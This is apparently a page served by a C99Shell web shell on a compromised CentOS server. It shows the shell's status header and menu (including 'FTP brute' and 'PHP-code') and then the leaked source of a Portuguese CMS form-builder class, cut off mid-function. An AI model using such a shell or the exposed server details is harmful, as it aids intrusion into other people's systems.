!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/app/cms/   drwxr-xr-x
Free 9.26 GB of 93.48 GB (9.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IPanelForm.php (63.91 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

if(!class_exists('IPanel'))
    require_once(
APP_PATH."/cms/IPanel.php");
if(!
class_exists('IPanelFunctions'))
    require_once(
APP_PATH."/cms/IPanelFunctions.php");

 class 
IPanelForm extends IPanel{

    protected 
$currentMode;
    protected 
$object;


    function 
IPanelForm($md=""){
        
$this->setMode($md);
    }


    
/**
     * Retorna o modo atual (Ex: Lista, Form)
     *
     * @return String
     */
    
function getMode() {
        return 
$this->currentMode;
    }
    
    
    
/**
     * Seta o modo atual (Ex: Lista, Form)
     * @param String $modo       Local atual
     *
     * @return void
     */
    
function setMode($mode) {
        
$this->currentMode $mode;
    }



    
/**
     * Retorna a lista de abas do formulário
     *
     * @return Array
     */
    
function getFormTabs() {
        
$arrayTabs = array();
        foreach(
$this->getConfig()->getFields() as $fields){
            foreach(
$fields as $field => $value){
                
$formGroup $value['formGroup'];
                if(
$formGroup == null || $formGroup == ""){
                    
$formGroup "";
                }
                if(!
in_array($formGroup$arrayTabs) && $value['form']){
                    
$arrayTabs array_merge($arrayTabs, array($formGroup));
                }
            }
        }
        return 
$arrayTabs;
    }


    
/**
     * Gera o código html do formulário do setor atual
     * Os campos são criados de acordo com a marcação form: true no arquivo de configuração
     * @param Object $object     Objeto a ser usado para popular o formulário
     *
     * @return html
     */
    
public function writeForm($object$group=""){
        
$this->object $object;
        
$util = new Util();
        
//
        // Cria a lista de abas para o formulário
        //
        
$arrayGroups = array();
        
$arrayGroupsTmp = array();
        if(
$group == ""){
            
$arrayGroups $this->getFormTabs();
        }else{
            
$arrayGroups array_merge($arrayGroups, array($group));
        }

        
//
        // Faz um laço nos campos
        //
      
foreach($arrayGroups as $group){
        
$html '<div class="div_tab_form">';
        
$html.= '<div class="input_titulo" style="padding-bottom:4px !important; margin-bottom:10px" ><strong>'.$util->strToUpper($group).'</strong></div>';
        foreach(
$this->getConfig()->getFields() as $fields){
            foreach(
$fields as $field => $value){
                
$field str_replace(".""_"$field);

                
//
                // Se o campo está marcado para aparecer no formulário
                //
                
if($value['form']){
                    
//foreach($arrayGroups as $group){
                    
                      // if(empty($group) || (!empty($group) && $group == $value['formGroup'])){
                       
if($group == $value['formGroup']){  
                         
//   if(!in_array($group, $arrayGroupsTmp)){
                        //        $arrayGroupsTmp = array_merge($arrayGroupsTmp, array($group));
                         //       $html = '<div style="color:#FF3300">';
                        //        $html.= '<div class="input_titulo" ><strong>'.$util->strToUpper($group).'</strong></div>';
                        //    }

                           
                            
$display $this->isDisplayedItemForm($field$object$value);
                            
$html.= '<div id="formItem_'.$field.'" style="display:'.$display.'">';
                            
//
                            // Se o campo está marcado obrigatório
                            //
                            
if($value['required']){
                                
$nameField "<strong>".$value['name'].":</strong>";
                            }else{
                                
$nameField $value['name'].":";
                            }

                            if(
$value['type'] != "checkbox"){
                                
$html.= ' <div class="sptl_fieldname">'.$nameField.'</div>';
                            }


                            
$html.= '<div class="input_field">';

                            
//
                            // Verifica se foi especificado uma função para tratamento do campo
                            //
                            
$valueField $this->getValueField($field$value$object);


                            
//
                            // Caso o campo seja do tipo string, email ou data
                            //
                            
if($value['type'] == "string" || $value['type'] == "email"){
                                
$html.= $this->writeTextInput($field$value$valueField);
                            }


                            
//
                            // Caso o campo seja do tipo string, email ou data
                            //
                            
if($value['type'] == "date"){
                                
$html.= $this->writeDateInput($field$value$valueField);
                            }


                            
//
                            // Caso o campo seja do tipo password
                            //
                            
if($value['type'] == "password"){
                                
$html.= $this->writePasswordInput($field$value$valueField);
                            }


                            
//
                            // Caso o campo seja do tipo color
                            //
                            
if($value['type'] == "color"){
                                
$html.= $this->writeColorInput($field$value$valueField);
                            }


                            
//
                            // Caso o campo seja do tipo checkbox
                            //
                            
if($value['type'] == "checkbox"){
                                
$html.= $this->writeCheckBox($field$value$valueField);
                            }


                            
//
                            // Caso o campo seja do tipo money
                            //
                            
if($value['type'] == "money"){
                                
$html.= $this->writeMoneyInput($field$value$valueField);
                            }


                            
//
                            // Caso o campo seja do tipo password
                            //
                            
if($value['type'] == "image" || $value['type'] == "file"){
                                
$html.= $this->writeFileInput($field$value$valueField);
                            }


                            
//
                            // Caso o campo seja do tipo password
                            //
                            
if($value['type'] == "time"){
                                
$html.= $this->writeTimeInput($field$value$valueField);
                            }


                            
//
                            // Caso o campo seja do tipo inteiro
                            //
                            
if($value['type'] == "integer"){
                                
$html.= $this->writeIntegerInput($field$value$valueField);
                            }


                            
//
                            // Caso o campo seja do tipo password
                            //
                            
if($value['type'] == "select"){
                               
$html.= $this->writeSelectInput($field$value$valueField);
                            }


                            
//
                            // Caso o campo seja do tipo password
                            //
                            
if($value['type'] == "subselect"){
                                
$html.= $this->writeSubSelectInput($field$value$valueField);
                            }


                            
//
                            // Caso o campo seja do tipo password
                            //
                            
if($value['type'] == "subselectmultiple"){
                                
$html.= $this->writeSubSelectMultiple($field$value$valueField);
                            }


                            
//
                            // Caso o campo seja do tipo popupsearch
                            //
                            
if($value['type'] == "popupsearch"){
                                
$html.= $this->writePopUpSearchInput($field$value$valueField"");
                            }


                            
//
                            // Caso o campo seja do tipo text ou editor
                            //
                            
if($value['type'] == "text" || $value['type'] == "editor"){
                                
$html.= $this->writeTextArea($field$value$valueField);
                            }

                            if(
$value['obsform'] != null){
                                
$html.= '</br><span class="text-alert">'.$value['obsform'].'</span>';
                            }


                            if(
$value['maxlength'] != "" && $value['maxlength'] != null){
                                
$html.= '<div class="cont_right"> <span id="caracter_'.$field.'" class="cont_text1"> ** </span>';
                                
$html.= '<span class="cont_text2"> caracteres </span></div>';
                            }

                            
$html.= '</div>';

                            
//
                            // Caso o campo seja do tipo color
                            // Adiciona uma div ao final do elemento para mostra das opções de cores.
                            //
                            
if($value['type'] == "color"){
                                
$html.= '<div id="__'.$field.'"></div>';
                            }
                            
                            
$html.= '</div>';
                        }
                    }
                    
                }
            }
            ${
"tab_".$util->nameForWeb($group)}.= $html."</div>";
        }
        
//
        // Abre a div para escrever o formulário
        //
        
$htmlForm '<div class="inputs_form">';
        for(
$i=0$i count($arrayGroups); $i++){
            
$htmlForm.= ${"tab_".$util->nameForWeb($arrayGroups[$i])};//."</div>";
        
}
        
$htmlForm.= '</div>';

        return 
$htmlForm;
    }


    
/**
     * Retorna o valor do campo caso este não esteja nulo, é verificado se o campo necessita
     * de uma função de tratamento antes de ser mostrado no formulário
     * @param String $field       Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
public function getValueField($field$value$object){
        if(!
$value['transient']){
            
$functions = new IPanelFunctions();
            
$field str_replace("_""."$field);
            
$subfield explode("."$field);
            switch(
count($subfield)){
                case 
"1"$valueField $object[$subfield[0]]; break;
                case 
"2"$valueField $object[$subfield[0]][$subfield[1]]; break;
                case 
"3"$valueField $object[$subfield[0]][$subfield[1]][$subfield[2]]; break;
                case 
"4"$valueField $object[$subfield[0]][$subfield[1]][$subfield[2]][$subfield[3]]; break;
            }
            if(
$this->getMode() == "Lista" && $value['listFunction'] != ""){
                 
$function $value['listFunction'];
                 
$valueField $functions->$function($valueField);
            }
            if(
$this->getMode() == "Form" && $value['formFunction'] != ""){
                 
$function $value['formFunction'];
                 
$valueField $functions->$function($valueField);
            }
            return 
$valueField;
        }else{
            return 
""
;        }
    }


    
/**
     * Retorna o código html do campo de acordo com o tipo do mesmo
     * @param String $nameField   Nome do campo atual
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
public function writeField($nameField$object){
        
$value $this->getConfig()->getParameter("fields.".$nameField);
        
$valueField getValueField($nameField$value$object);

        if(
$value['type'] == "string" || $value['type'] == "email" || $value['type'] == "date"){
            
$html.= $this->writeTextInput($nameField$value$valueField);
        }
        if(
$value['type'] == "text" || $value['type'] == "editor"){
            
$html.= $this->writeTextArea($nameField$value$valueField);
        }
        return 
$html;
    }


    
/**
     * Retorna o código html para criação de uma TextArea
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writeTextArea($field$value$valueField$searchForm=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        
$html '<textarea alt="'.$altTitle.'" title="'.$altTitle.'" name="'.$field.'" id="'.$field.'" style="width:100%">'.$valueField.'</textarea>';
        return 
$html;
    }


    
/**
     * Retorna o código html para criação de um TextInput
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writeTextInput($field$value$valueField$searchForm=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        
$size = ($value['size'] != "" && $value['size'] != null) ? $value['size'] : $this->defaultFieldSize;
        if(
$searchForm){
            
$style "fields_search_text";
        }else{
            if(
$size <= 50){
                 
$style "fields_form_medium";
            }else{
                
$style "fields_form_large";
            }
        }
        
        
$maxlength = ($value['maxlength'] != "" && $value['maxlength'] != null) ? $value['maxlength'] : $this->defaultFieldMaxLength;
        
$html '<input id="'.$field.'" name="'.$field.'" class="'.$style.'" value="'.$valueField.'" size="11" alt="'.$altTitle.'" title="'.$altTitle.'"';
        if(
$value['maxlength'] != "" && $value['maxlength'] != null){
            
$html.= 'maxlength="'.$maxlength.'" onKeyUp="javascript:countChars('.chr(39).$field.chr(39).','.$maxlength.')"';
        }
        
$html.= '/>';
        return 
$html;
    }



    
/**
     * Retorna o código html para criação de um campo de pesquisa via pop-up.
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writePopUpSearchInput($field$value$valueField$valueLabel$searchForm=false$isReport=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        
$size = ($value['size'] != "" && $value['size'] != null) ? $value['size'] : $this->defaultFieldSize;
        if(
$searchForm){
            
$style "fields_popupsearch";
        }else if(
$isReport){
            
$style "fields_form_medium";
        }else{
            
$style "fields_form_medium";
        }
        
$maxlength = ($value['maxlength'] != "" && $value['maxlength'] != null) ? $value['maxlength'] : $this->defaultFieldMaxLength;
        
$html '<input id="'.$field.'_str" name="'.$field.'_str" class="'.$style.'" style="float:left"
                        value="'
.$valueLabel.'" disabled alt="'.$altTitle.'" title="'.$altTitle.'"/>';
        
$html.= '<input id="'.$field.'" name="'.$field.'" value="'.$valueField.'" type="hidden"/>';
        
$html.= '<input id="'.$field.'_label" name="'.$field.'_label" value="'.$valueLabel.'" type="hidden"/>';
        
$html.= '<div style="width:22px;float:left; padding:3px; height:20px"><a href="frameBusca.php?lc='.$value['relation'].'&field='.$field;
        
$html.= '&relationField='.$value['relationField'].'&labelField='.$value['labelField'].'&search='.$searchForm.'"';
        
$html.= ' rel="lyteframe" rev="width: 900px; height: 500px; scrolling: auto;" title="Pesquisar '.$value['name'].'">
                  <img src="img/lupa.png" style="background-color:transparent !important"/></a></div>'
;
        
$html.= '<div class="clear"></div>';
        return 
$html;
    }



    
/**
     * Retorna o código html para criação de um TextInput para Senha
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writePasswordInput($field$value$valueField$searchForm=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        
$size = ($value['size'] != "" && $value['size'] != null) ? $value['size'] : $this->defaultFieldSize;
        
$maxlength = ($value['maxlength'] != "" && $value['maxlength'] != null) ? $value['maxlength'] : $this->defaultFieldMaxLength;
        
$html '<input id="'.$field.'" name="'.$field.'" class="fields_form_medium"  alt="'.$altTitle.'" title="'.$altTitle.'" 
                 type="password" value="'
.$valueField.'" size="'.$size.'" maxlength="'.$maxlength.'"/>';
        return 
$html;
    }


    
/**
     * Retorna o código html para criação de um Seletor de cores
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writeColorInput($field$value$valueField$searchForm=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        if(empty(
$valueField)){
            
$valueField "#ffffff";
        }
        
$size = ($value['size'] != "" && $value['size'] != null) ? $value['size'] : $this->defaultFieldSize;
        
$maxlength = ($value['maxlength'] != "" && $value['maxlength'] != null) ? $value['maxlength'] : $this->defaultFieldMaxLength;
        
$html '<input id="'.$field.'" name="'.$field.'" class="fields_form_short"  alt="'.$altTitle.'" title="'.$altTitle.'" 
                 type="text" value="'
.$valueField.'" size="'.$size.'" maxlength="'.$maxlength.'"/>';
        return 
$html;
    }


    
/**
     * Retorna o código html para criação de um TextInput para Data
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writeDateInput($field$value$valueField$searchForm=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        if(
$searchForm){
            
$style "fields_search_date";
        }else{
            
$style "fields_form_date"
        }
        
$html '<input id="'.$field.'" name="'.$field.'" class="'.$style.'" value="'.$valueField.'"
                 size="11"  alt="'
.$altTitle.'" title="'.$altTitle.'" />';
        return 
$html;
    }


    
/**
     * Retorna o código html para criação de um TextInput para Valores monetários
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writeMoneyInput($field$value$valueField$searchForm=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        if(
$searchForm){
            
$style "fields_search_short";
        }else{
            
$style "fields_form_short";
        }
        
$html '<input id="'.$field.'" name="'.$field.'" class="'.$style.'" onkeydown="formataValor(this,event,17,2);"
                        value="'
.$valueField.'" size="10" maxlength="15" alt="'.$altTitle.'" title="'.$altTitle.'" />';
        return 
$html;
    }


    
/**
     * Retorna o código html para criação de um TextInput para digitaçao de inteiro
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writeIntegerInput($field$value$valueField$searchForm=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        if(
$searchForm){
            
$style "fields_search_short";
        }else{
            
$style "fields_form_date";
        }
        
$html '<input name="'.$field.'" id="'.$field.'" class="'.$style.'" value="'.$valueField.'"
                        onkeyup="number(this);" size="5" maxlength="5" alt="'
.$altTitle.'" title="'.$altTitle.'" />';
        return 
$html;
    }


    
/**
     * Retorna o código html para criação de um TextInput para digitaçao de hora
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writeTimeInput($field$value$valueField$searchForm=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        if(
$searchForm){
            
$style "fields_search_short";
        }else{
            
$style "fields_form_short";
        }
        
$html '<input name="'.$field.'" id="'.$field.'" class="'.$style.'" value="'.$valueField.'" 
                        size="5" maxlength="5" alt="'
.$altTitle.'" title="'.$altTitle.'" style="width:100px !important" />';
        return 
$html;
    }
    

    
/**
     * Retorna o código html para criação de um CheckBox
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writeCheckBox($field$value$valueField$searchForm=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        if(
$value['value'] == $valueField && $valueField != ""){
            
$checked "checked";
        }else{
            
$checked "";
        }
        
$valueField = !empty($value['value']) ? $value['value'] : "1";
        
$html '<input type="checkbox" name="'.$field.'" value="'.$valueField.'" '.$checked.' alt="'.$altTitle.'" title="'.$altTitle.'">';
        
$html.= '<span class="sptl" alt="'.$altTitle.'" title="'.$altTitle.'" >'.(!empty($value['tooltip']) ? $value['tooltip'] : $value['name']).'</span>';
        return 
$html;
    }


    
/**
     * Retorna o código html para criação de um Input de seleção de arquivo
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writeFileInput($field$value$valueField$searchForm=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        
$size = ($value['size'] != "" && $value['size'] != null) ? $value['size'] : 50;
        
$html '<input name="'.$field.'" id="'.$field.'" type="file" class="fields_form_short"
                        size="'
.$size.'"  alt="'.$altTitle.'" title="'.$altTitle.'" />';
        if(
$valueField != ''){
            
$file "../uploads/".$this->getConfig()->getParameter("uploads.folder")."/".$this->object->id."/".$valueField;
            
$html.= '<div id="file_'.$field.'" style="font-size:12px"><a href="'.$file.'" target="blank">'.$valueField.'</a>&nbsp;';
            
$html.= '   <a href="javascript:;" onClick="deleteArquivo(\''.$field.'\',\''.$valueField.'\',\''.$this->getArea().'\', '.$this->object->id.')">';
            
$html.= '       <img src="img/delFoto.png" width="15" alt="Excluir"></a></div>';
        }
        return 
$html;
    }


    
/**
     * Retorna o código html para criação de um TextInput para Senha
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writeSelectInput($field$value$valueField$searchForm=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        if(
$searchForm){
            
$style "fields_search_select";
        }else{
            
$style "fields_form_select";
        }
        
$html '<select name="'.$field.'" id="'.$field.'" class="'.$style.'" alt="'.$altTitle.'" title="'.$altTitle.'">';
        if((
str_replace(" """$valueField) == "") && !$searchForm){
            
$html.= ' <option value="" selected >Selecione</option>';
        }
        if(
$searchForm){
            
$html.= ' <option value="" selected >Mostrar Todos</option>';
        }
        
$arrayOptions explode(","$value['options']);
        for(
$i=0$i count($arrayOptions); $i++){
            
$option explode("=>"$arrayOptions[$i]);
            
$data ltrim($option[0]);
            
$label count($option) == $data $option[1];
            if(
$data == ltrim($valueField)){
                
$sel "selected";
            }else{
                
$sel "";
            }
            
$html.= ' <option value="'.$data.'" '.$sel.' >'.$label.'</option>';
        }
        
$html.= '</select>';
        return 
$html;
    }


    
/**
     * Retorna o código html para criação de um TextInput para Senha
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writeSubSelectInput($field$value$valueField$searchForm=false){
        
$arrayFields = array();
        
$arrayValues = array();
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        if(
$searchForm){
            
$style "fields_search_select";
        }else{
            
$style "fields_form_select";
        }

        
$html '<select name="'.$field.'" id="'.$field.'" class="'.$style.'" alt="'.$altTitle.'" title="'.$altTitle.'"';
        
        if(
$value['updateRemoteField'] != null){
            
$html.= " onchange=".chr(34)."atualizaCampo(this.value,
                                                       '"
.$value['relation']."',
                                                       '"
.$value['relationField']."',
                                                       '"
.$value['remoteRelation']."',
                                                       '"
.$value['updateRemoteField']."',
                                                       '"
.$value['valueFormField']."',
                                                       '"
.$value['labelFormField']."',
                                                       '"
.$value['typeRemoteField']."',
                                                       '"
.$value['compareLocalField']."',
                                                       '"
.$value['compareRemoteField']."')".chr(34);

            
$html.= " onkeyup=".chr(34)."atualizaCampo(this.value,
                                                       '"
.$value['relation']."',
                                                       '"
.$value['relationField']."',
                                                       '"
.$value['remoteRelation']."',
                                                       '"
.$value['updateRemoteField']."',
                                                       '"
.$value['valueFormField']."',
                                                       '"
.$value['labelFormField']."',
                                                       '"
.$value['typeRemoteField']."',  
                                                       '"
.$value['compareLocalField']."',
                                                       '"
.$value['compareRemoteField']."')".chr(34);
        }
        
$html.= '>';
        if((
str_replace(" """$valueField) == "") && !$searchForm){
            
$html.= '<option value="" selected >Selecione</option>';
        }
        if(
$searchForm){
            if(
$value['prompt'] != "" || $value['prompt'] != null){
                
$html.= '<option value="" selected >'.$value['prompt'].'</option>';
            }else{
                
$html.= '<option value="" selected >Mostrar Todos</option>';
            }
        }
        if(
$value['fillOnStart'] || ($value['fillOnStartForm'] && !$searchForm)){
            
$control = new GenericCtrl($value['relation']);
            
$order $value['order'] != null $value['order'] : str_replace("|"","$value['labelField']);
            
$condition $value['condition'] != null $value['condition'] : "";
            if(!empty(
$condition)){
                
$conditions explode(","$conditions);
                foreach(
$conditions as $condition){
                    list(
$condField$condValue) = explode("=>"$condition);
                    
$arrayFields array_merge($arrayFields, array($condField));
                    
$arrayValues array_merge($arrayValues, array($condValue));
                }
            }
            
$result $control->getObjectByFields($arrayFields$arrayValuesfalsefalsefalse$order);
            foreach(
$result as $object){
               
// if($this->getValueField($value['relationField'], null, $object)){
                
if($object[$value['relationField']] == $valueField){
                    
$sel "selected";
                }else{
                    
$sel "";
                }
                
$labels explode("|"$value['labelField']);
                
$label "";
                for(
$i=0$i<count($labels); $i++){
                        
$label.= $this->getValueField($labels[$i], $value$object);
                        if(
$i < (count($labels) - 1)){
                                
$label.= " | ";
                        }
                }
                
$html.= ' <option value="'.$object[$value['relationField']].'" '.$sel.' >'.$label.'</option>';
            }
        }else{
            if(
$valueField != ""){
                
$control = new GenericCtrl($value['relation']);
                
$object $control->getObjectByField($value['relationField'], $valueFieldtrue10);
                
$labels explode("|"$value['labelField']);
                
$label "";
                for(
$i=0$i<count($labels); $i++){
                     
$label.= $this->getValueField($labels[$i], $value$object[0]);
                     if(
$i < (count($labels) - 1)){
                          
$label.= " | ";
                     }
                }
                
$html.= ' <option value="'.$valueField.'" '.$sel.' selected>'.$label.'</option>';
            }
        }
        
$html.= '</select>';
        return 
$html;
    }


    
/**
     * Retorna o código html para criação de um Select do Tipo Multiplo
     * @param String $nameField   Nome do campo atual
     * @param Array  $value       Array com os dados do campo
     * @param Object $object      Objeto atual a ser populado no formulario
     *
     * @return html
     */
    
private function writeSubSelectMultiple($field$value$valueField$searchForm=false){
        
$altTitle = ($value['obsSearch'] != null && $value['obsSearch'] != "") ? $value['obsSearch'] : $value['name'];
        
$html '<select name="'.$field.'" id="'.$field.'" class="fields_form_select" multiple="multiple" size="10" alt="'.$altTitle.'" title="'.$altTitle.'">';
        
$control = new GenericCtrl($value['relation']);
        
$result $control->getAllObjects();
        foreach(
$result as $object){
            if(
$object[$value['relationField']] == $valueField){
                
$sel "selected";
            }else{
                
$sel "";
            }
            
$html.= ' <option value="'.$object[$value['relationField']].'" '.$sel.' >'.$object[$value['labelField']].'</option>';
        }
        
$html.= '</select>';
        return 
$html;
    }



    
/**
     * Copia os dados enviados pelo formulario para os campos correspondentes no objeto
     *
     * @param Array $post            Array com os dados enviados via formulario
     * @param Array $files           Array com informações de arquivos enviados via formulário
     * @return Object
     */
    
public function saveFormDataToObject($post$files){
        
$functions = new IPanelFunctions();
        
$control = new GenericCtrl($this->getArea());
        
$action "";
        if(
$post['id'] != ""){
            
$object $control->getObject($post['id']);
            if(!
is_object($object)){
                
$object = new $this->currentArea;
                
$action "save";
            }else{
                
$action "update";
            }
        }else{
            
$object = new $this->currentArea;
            
$action "save";
        }

        
//
        // Efetua um laço nos campos para verificar quais vem do formulário
        //
        
foreach($this->getConfig()->getFields() as $fields){
            foreach(
$fields as $field => $value){
                
$updatable $value['updatable'];
                
$insertable $value['insertable'];
                
$transient $value['transient'];
                if(
$updatable == null || $updatable == "" || $updatable == true){
                    
$updatable true;
                }
                if(
$updatable == false){
                    
$updatable == false;
                }
                if(
$insertable == null || $insertable == "" || $insertable == true){
                    
$insertable true;
                }
                if(
$insertable == false){
                    
$insertable == false;
                }
                
                if(
$transient){
                    
$insertable false;
                    
$updatable false;
                }

                
//
                // Caso o campo esteja marcado como pertencente ao formulário
                //
                
if($value['form'] || $value['auto']){


                   
//
                   // Caso seja um campo do tipo Imagem e não esteja vazio
                   //
                   
if($value['type'] == "image" || $value['type'] == "file"){
                       if(
$files[$field]['name'] != ""){
                            
$object[$field] = $functions->nameForWeb($files[$field]['name']);
                            
//$object[$field] = $functions->nameOriginalFile($files[$field]['name']);
                       
}

                   }

                   
//
                   // Verifica se foi especificado uma função para tratamento do campo
                   //
                   
if($value['saveFunction'] != ""){
                       
$function $value['saveFunction'];
                       
$valueField $functions->$function($post[$field]);
                   }else{
                       
$valueField $post[$field];
                   }
                   
//
                   // Verifica se o campo deve ser salvo no update ou na inserção
                   //
                   
if($updatable == true && $action == "update" && $value['type'] != "image" && $value['type'] != "file"){
                       
$object[$field] = $valueField;
                   }
                   if(
$insertable == true && $action == "save" && $value['type'] != "image" && $value['type'] != "file"){
                       
$object[$field] = $valueField;
                   }
               }
            }
        }
        return 
$object;
    }


    
/**
     * Gera o script Jquery para validação e mascaramento dos campos
     * Os campos de data possuem mascara prédefinida não sendo necessário especificá-la
     * no arquivo de configuraçao.
     *
     * @return html
     */
    
public function writeValidationScript(){
        
$script '<script type="text/javascript" language="javascript">';

        
$script.= 'tinymce.init({';
        
$script.= 'selector: "textarea",';
        
$script.= 'plugins: [';
        
$script.= '"advlist autolink lists link image charmap print preview anchor",';
        
$script.= '"searchreplace visualblocks code fullscreen",';
        
$script.= '"insertdatetime media table contextmenu paste moxiemanager"';
        
$script.= '],';
        
$script.= 'toolbar: "insertfile undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image"';
        
$script.= '});';
        
//
        // preparação do formulário
        //
        
$script.= ' $(document).ready( function() {';
        
$scriptColor "";
        
$contColor 0;

        
//
        // gera as máscaras para os campos
        //
        
if($this->getArea() != "Backup"){
            foreach(
$this->config->getFields() as $fields){
                foreach(
$fields as $field => $value){
                    
$field str_replace(".""_"$field);
                    if(
$value['type'] == "date" && ($value['form'])){
                        
$script.= '$("#'.$field.'").mask("99/99/9999");';
                    }
                    if(
$value['mask'] != "" && ($value['form'])){
                        
$script.= '$("#'.$field.'").mask("'.$value['mask'].'");';
                    }
                }
            }
        }

        
//
        // inicia o TiniMCE para validação via Jquery
        //
        
$script.= 'var validator = $("#formreg").submit(function() {';
        
$script.= '    tinyMCE.triggerSave();';
        
$script.= '}).validate({';


   
//     $script.= '    $("#formreg").validate({';
        //
        // Gera as obrigações de cada campo
        //
       
$script.= '    rules:{';
        if(
$this->getArea() != "Backup"){
            foreach(
$this->config->getFields() as $fields){
                foreach(
$fields as $field => $value){
                    
$field str_replace(".""_"$field);
                    if(
$value['form']){
                        
$script.= '    '.$field.':{';
                        if(
$value['required']){
                            
$script.= '    required: true,';
                        }
                        if(
$value['type'] == "date" && $value['nullable'] != true){
                            
$script.= ' dateBR: true,';
                        }
                        if(
$value['maxlength'] != ""){
                            
$script.= ' maxlength: '.$value['maxlength'].',';
                        }
                        if(
$value['type'] == "email"){
                            
$script.= ' email: true,';
                        }
                        
$script.= '},';

                        if(
$value['type'] == "color"){
                            
$contColor++;
                            
$scriptColor.= 'setTimeout(function(){';
                            
$scriptColor.= 'jQuery.farbtastic("#__'.$field.'").linkTo("#'.$field.'")';
                            
$scriptColor.= '}, 100);';
                        }
                    }
                }
            }
        }

        
$script.= '    },';
       
// $script.= 'errorPlacement: function(label, element) {';
       // $script.= '    // position error label after generated textarea';
       // $script.= '    if (element.is("textarea")) {';
       // $script.= '         label.insertAfter(element.next());';
       // $script.= '    else';
       // $script.= '        label.insertAfter(element)';
       // $script.= '};';
        
$script.= '  });';
        
$script.= $this->writeItensActionsScript();
        
$script.= '});';
        
$script.= $scriptColor;
        
$script.= '</script>';
        print 
$script;
    }

    
    
    
/**
     * Gera o código html para os campos de acordo com o tipo do atributo
     *
     * @return html
     */
    
public function writeSearchField($field$value$value01$value02$isReport=false){
         switch(
$value['type']){
               case 
"date":{
                   
$html.= $this->writeDateInput($field."Ini"$value$value01true);
                   
$html.= ' <span class="sptl"> á </span>';
                   
$html.= $this->writeDateInput($field."End"$value$value02true);
               } break;

               case 
"money":{
                   
$html.= $this->writeMoneyInput($field."Ini"$value$value01true);
                   
$html.= ' <span class="sptl"> á </span>';
                   
$html.= $this->writeMoneyInput($field."End"$value$value02true);
               } break;

               case 
"time":{
                   
$html.= $this->writeTimeInput($field."Ini"$value$value01true);
                   
$html.= ' <span class="sptl"> á </span>';
                   
$html.= $this->writeTimeInput($field."End"$value$value02true);
               } break;

               case 
"integer":{
                   
